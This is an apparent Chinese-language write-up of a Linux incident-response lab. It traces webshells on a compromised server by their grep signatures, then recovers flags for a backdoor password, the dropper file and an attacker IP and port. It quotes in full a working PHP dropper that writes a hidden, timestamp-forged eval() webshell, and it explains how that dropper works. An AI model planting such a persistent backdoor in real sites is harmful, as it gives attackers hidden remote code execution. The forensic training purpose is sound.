第一章 应急响应- Linux入侵排查
1、web目录存在木马,请找到木马的密码提交
这里告诉我们web目录存在木马 我们来到/var/www/html下面看到有一个1.php 使用cat命令查看发现是一句话木马,木马密码就为POST传参的值
flag{1}
2、服务器疑似存在不死马,请找到不死马的密码提交
指恶意软件中的一种 persistence(持久化)或自愈机制:即使你杀掉运行的进程、删除文件、甚至重装某些软件后,恶意程序仍能通过其它途径重新出现或继续控制主机。
变体包括“自愈型后门”、“复活木马”、“固件/引导级后门”等。
这里可以使用命令查看木马文件在哪里
find ./ -type f -name "*.php" | xargs grep "eval("
可以看到这里有个md5加密值拿去解密一下获得flag
flag{hello}
find ./ type f -name ".jsp" | xargs grep "exec("
find ./ type f -name ".php" | xargs grep "eval("
find ./ type f -name ".asp" | xargs grep "execute("
find ./ type f -name ".aspx" | xargs grep "eval("//对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode"xargs:xargs命令用于将输入数据重新格式化后作为参数传递给其他命令。在这个命令中,xargs将find命令找到的文件列表作为参数传递给grep命令。
grep "eval(":grep命令用于搜索文本,并输出匹配的行。这里"eval("是grep命令的搜索模式,用于查找包含eval(字符串的行。
3、不死马是通过哪个文件生成的,请提交文件名
这里我们cat index.php文件
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
file_put_contents(...)
:在网站根目录写入一个隐藏文件 .shell.php
,内容是一个 webshell。
webshell 内容逻辑:如果 $_POST["pass"]
的 MD5 等于 5d41402abc4b2a76b9719d911017c592
(这是 md5("hello")
),就对 $_POST['cmd']
的内容做 eval()
—— 任意 PHP 代码执行。
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
:把这个文件的修改时间改成 2021-01-01,目的是伪装/隐藏(不让人通过最近修改时间快速发现)。
usleep(3000);
:短暂睡眠,微小延迟(没实质作用,可能用于避开某些检测时序)。
这是一个后门 webshell,密码是 hello
(因为 md5("hello") == 5d41402...
)。攻击者/恶意代码在每次 index.php 被访问时都会尝试写入(或覆盖)这个后门并隐藏时间戳。
至此我们确定文件为
flag{index.php}
4、黑客留下了木马文件,请找出黑客的服务器ip提交
这里我看了apach的日志和ssh的没有只能回到刚刚那个目录启动木马文件了,我们这里富裕权限然后启动这个木马文件
接着在另外一个终端再次连接ssh观察一下什么情况 使用命令
netstat -antlp | more
可以看到木马文件的地址
flag{10.11.55.21}
这里你使用ss -antlp是看不出来的ss -antlp
ss
的-l
表示 只显示监听的套接字(LISTEN)- 因此它不会显示 ESTABLISHED、SYN_SENT 等活跃连接
✅ 它适合查“谁在监听端口”
❌ 不适合查“谁在建立连接”netstat -antlp
- 同样的参数里,
netstat
的-a
会列出所有连接(包括监听 + 已建立 + 等待状态) - 所以你在这里看到:
ss -antlp
只显示监听端口(谁在等连接)
netstat -antlp
显示监听 + 已连接状态(谁在通信)
5、黑客留下了木马文件,请找出黑客服务器开启的监端口提交
这里端口号就是木马文件后面的
flag{3333}